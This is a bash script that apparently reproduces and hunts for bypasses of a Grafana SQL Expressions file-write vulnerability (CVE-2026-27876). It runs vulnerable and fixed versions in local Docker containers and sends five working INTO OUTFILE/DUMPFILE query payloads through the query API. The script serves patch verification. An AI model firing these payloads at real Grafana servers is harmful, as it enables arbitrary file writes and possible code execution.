#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
VULN_VARIANT="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$ARTIFACTS" "$VULN_VARIANT"

cd "$ROOT"

echo "=== CVE-2026-27876 Grafana SQL Expressions RCE - Variant/Bypass Analysis ==="
echo "Vulnerability: Arbitrary file write via SQL INTO clause"
echo "Target: Grafana SQL Expressions feature"
echo ""

# Check if Docker is available
if ! command -v docker &> /dev/null; then
    echo "ERROR: Docker is not installed or not in PATH"
    exit 2
fi

if ! docker ps &> /dev/null; then
    echo "ERROR: Docker daemon is not running or user lacks permissions"
    exit 2
fi

# Function to test a specific Grafana version
test_version() {
    local version=$1
    local variant_name=$2
    
    echo "========================================="
    echo "Testing $variant_name (Grafana $version)"
    echo "========================================="
    
    # Stop any existing container
    docker rm -f grafana-variant-test 2>/dev/null || true
    sleep 2
    
    # Start Grafana with sqlExpressions enabled
    echo "[1/5] Starting Grafana $version with sqlExpressions enabled..."
    if ! docker run -d \
        --name grafana-variant-test \
        -p 127.0.0.1:3002:3000 \
        -e GF_FEATURE_TOGGLES_ENABLE=sqlExpressions \
        -e GF_SECURITY_ADMIN_PASSWORD=admin \
        grafana/grafana:$version 2>&1 | tee "$LOGS/docker_start_${variant_name}.log"; then
        echo "ERROR: Failed to start Grafana $version"
        return 1
    fi
    
    # Wait for Grafana to be ready
    echo "[2/5] Waiting for Grafana to start..."
    HEALTHY=0
    for i in $(seq 1 60); do
        if curl -s http://127.0.0.1:3002/api/health 2>/dev/null | grep -q '"database"'; then
            echo "Grafana is healthy!"
            HEALTHY=1
            break
        fi
        if [ $((i % 10)) -eq 0 ]; then
            echo "  Waiting... ($i/60)"
        fi
        sleep 2
    done
    
    if [ $HEALTHY -eq 0 ]; then
        echo "ERROR: Grafana failed to start"
        docker logs grafana-variant-test 2>&1 | tail -20 | tee "$LOGS/grafana_error_${variant_name}.log"
        docker rm -f grafana-variant-test 2>/dev/null || true
        return 1
    fi
    
    # Authenticate
    echo "[3/5] Authenticating as admin..."
    docker exec grafana-variant-test curl -s -X POST "http://127.0.0.1:3000/login" \
        -H "Content-Type: application/json" \
        -d '{"user":"admin","password":"admin"}' \
        -c "/tmp/cookies.txt" \
        -o "/tmp/login_response.json" 2>/dev/null
    
    if ! docker exec grafana-variant-test cat /tmp/login_response.json 2>/dev/null | grep -q "Logged in"; then
        echo "ERROR: Login failed"
        docker rm -f grafana-variant-test 2>/dev/null || true
        return 1
    fi
    echo "Login successful"
    
    # Check sqlExpressions feature
    echo "[4/5] Checking sqlExpressions feature toggle..."
    docker exec grafana-variant-test curl -s "http://127.0.0.1:3000/api/frontend/settings" \
        -b "/tmp/cookies.txt" \
        -o "/tmp/frontend_settings.json" 2>/dev/null
    
    if docker exec grafana-variant-test cat /tmp/frontend_settings.json 2>/dev/null | grep -q '"sqlExpressions":true'; then
        echo "sqlExpressions is ENABLED"
    else
        echo "WARNING: sqlExpressions may not be enabled"
    fi
    
    # Test variant payloads
    echo "[5/5] Testing SQL variant payloads..."
    
    # Variant 1: Basic INTO OUTFILE
    echo "  Test 1: Basic INTO OUTFILE"
    docker exec grafana-variant-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
        -H "Content-Type: application/json" \
        -b "/tmp/cookies.txt" \
        -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT 1 INTO OUTFILE '\''/tmp/variant_test1.txt'\''"}],"from":"now-1h","to":"now"}' \
        -o "/tmp/variant_response1.json" 2>/dev/null
    
    # Variant 2: INTO DUMPFILE
    echo "  Test 2: INTO DUMPFILE"
    docker exec grafana-variant-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
        -H "Content-Type: application/json" \
        -b "/tmp/cookies.txt" \
        -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT 1 INTO DUMPFILE '\''/tmp/variant_test2.txt'\''"}],"from":"now-1h","to":"now"}' \
        -o "/tmp/variant_response2.json" 2>/dev/null
    
    # Variant 3: UNION with INTO
    echo "  Test 3: UNION with INTO clause"
    docker exec grafana-variant-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
        -H "Content-Type: application/json" \
        -b "/tmp/cookies.txt" \
        -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT 1 UNION ALL SELECT 2 INTO OUTFILE '\''/tmp/variant_test3.txt'\''"}],"from":"now-1h","to":"now"}' \
        -o "/tmp/variant_response3.json" 2>/dev/null
    
    # Variant 4: Subquery with INTO attempt
    echo "  Test 4: Subquery with INTO"
    docker exec grafana-variant-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
        -H "Content-Type: application/json" \
        -b "/tmp/cookies.txt" \
        -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"SELECT * FROM (SELECT 1 INTO OUTFILE '\''/tmp/variant_test4.txt'\'') AS t"}],"from":"now-1h","to":"now"}' \
        -o "/tmp/variant_response4.json" 2>/dev/null
    
    # Variant 5: CTE with INTO
    echo "  Test 5: CTE (Common Table Expression) with INTO"
    docker exec grafana-variant-test curl -s -X POST "http://127.0.0.1:3000/api/ds/query?ds_type=__expr__&expression=true" \
        -H "Content-Type: application/json" \
        -b "/tmp/cookies.txt" \
        -d '{"queries":[{"refId":"A","datasource":{"type":"__expr__","uid":"__expr__"},"type":"sql","expression":"WITH cte AS (SELECT 1) SELECT * FROM cte INTO OUTFILE '\''/tmp/variant_test5.txt'\''"}],"from":"now-1h","to":"now"}' \
        -o "/tmp/variant_response5.json" 2>/dev/null
    
    # Copy responses
    docker cp grafana-variant-test:/tmp/variant_response1.json "$ARTIFACTS/${variant_name}_response1.json" 2>/dev/null || true
    docker cp grafana-variant-test:/tmp/variant_response2.json "$ARTIFACTS/${variant_name}_response2.json" 2>/dev/null || true
    docker cp grafana-variant-test:/tmp/variant_response3.json "$ARTIFACTS/${variant_name}_response3.json" 2>/dev/null || true
    docker cp grafana-variant-test:/tmp/variant_response4.json "$ARTIFACTS/${variant_name}_response4.json" 2>/dev/null || true
    docker cp grafana-variant-test:/tmp/variant_response5.json "$ARTIFACTS/${variant_name}_response5.json" 2>/dev/null || true
    
    # Display results
    echo ""
    echo "=== Variant Test Results for $variant_name ==="
    for i in 1 2 3 4 5; do
        resp_file="$ARTIFACTS/${variant_name}_response${i}.json"
        if [ -f "$resp_file" ]; then
            echo "Test $i response:"
            cat "$resp_file" | tee "$LOGS/${variant_name}_test${i}.log"
            
            # Check for INTO-related errors
            if grep -q "blocked\|not supported\|INTO\|Into" "$resp_file" 2>/dev/null; then
                echo "  -> INTO clause was BLOCKED (expected in fixed versions)"
            elif grep -q '"status":200\|"frames"' "$resp_file" 2>/dev/null; then
                echo "  -> Query succeeded - potential bypass!"
            else
                echo "  -> Check response for details"
            fi
            echo ""
        else
            echo "Test $i: No response file"
        fi
    done
    
    # Check if files were created
    echo "Checking for created files..."
    docker exec grafana-variant-test sh -c 'ls -la /tmp/variant_test*.txt 2>/dev/null || echo "No variant test files created"' | tee "$LOGS/${variant_name}_files_created.log"
    
    # Cleanup
    docker rm -f grafana-variant-test 2>/dev/null || true
    
    return 0
}

# Main test execution
echo "Starting variant analysis..."
echo ""

# Test vulnerable version (11.6.0)
echo "=== Testing Vulnerable Version ==="
if test_version "11.6.0" "vulnerable"; then
    echo "Vulnerable version test completed"
else
    echo "WARNING: Could not test vulnerable version"
fi

echo ""
echo "=== Testing Fixed Version ==="
# Test fixed version (11.6.14)
if test_version "11.6.14" "fixed"; then
    echo "Fixed version test completed"
else
    echo "WARNING: Could not test fixed version"
fi

echo ""
echo "=== Variant Analysis Complete ==="
echo "Results saved to:"
echo "  - $ARTIFACTS/"
echo "  - $LOGS/"

# Analyze results and determine exit code
echo ""
echo "=== Summary ==="

VULNERABLE_BLOCKED=0
FIXED_BLOCKED=0

# Check vulnerable version results
if [ -f "$ARTIFACTS/vulnerable_response1.json" ]; then
    if grep -q "blocked\|not supported" "$ARTIFACTS/vulnerable_response1.json" 2>/dev/null; then
        echo "Vulnerable version 11.6.0: INTO clauses are BLOCKED (unexpected)"
        VULNERABLE_BLOCKED=1
    else
        echo "Vulnerable version 11.6.0: Check responses for INTO behavior"
    fi
fi

# Check fixed version results
if [ -f "$ARTIFACTS/fixed_response1.json" ]; then
    if grep -q "blocked\|not supported" "$ARTIFACTS/fixed_response1.json" 2>/dev/null; then
        echo "Fixed version 11.6.14: INTO clauses are BLOCKED (expected)"
        FIXED_BLOCKED=1
    else
        echo "Fixed version 11.6.14: INTO clauses NOT blocked (unexpected)"
    fi
fi

# Determine final status
# Exit 0 = found a bypass/variant that works on fixed version
# Exit 1 = no bypass/variant found (which is expected outcome)

if [ $FIXED_BLOCKED -eq 1 ]; then
    echo ""
    echo "CONCLUSION: The fix in 11.6.14 effectively blocks INTO clauses."
    echo "No bypass variants were found that work on the fixed version."
    echo ""
    echo "Variant analysis complete. No distinct bypass identified."
    exit 1
else
    echo ""
    echo "WARNING: INTO clauses may not be properly blocked in fixed version."
    echo "This could indicate a potential bypass variant."
    exit 0
fi
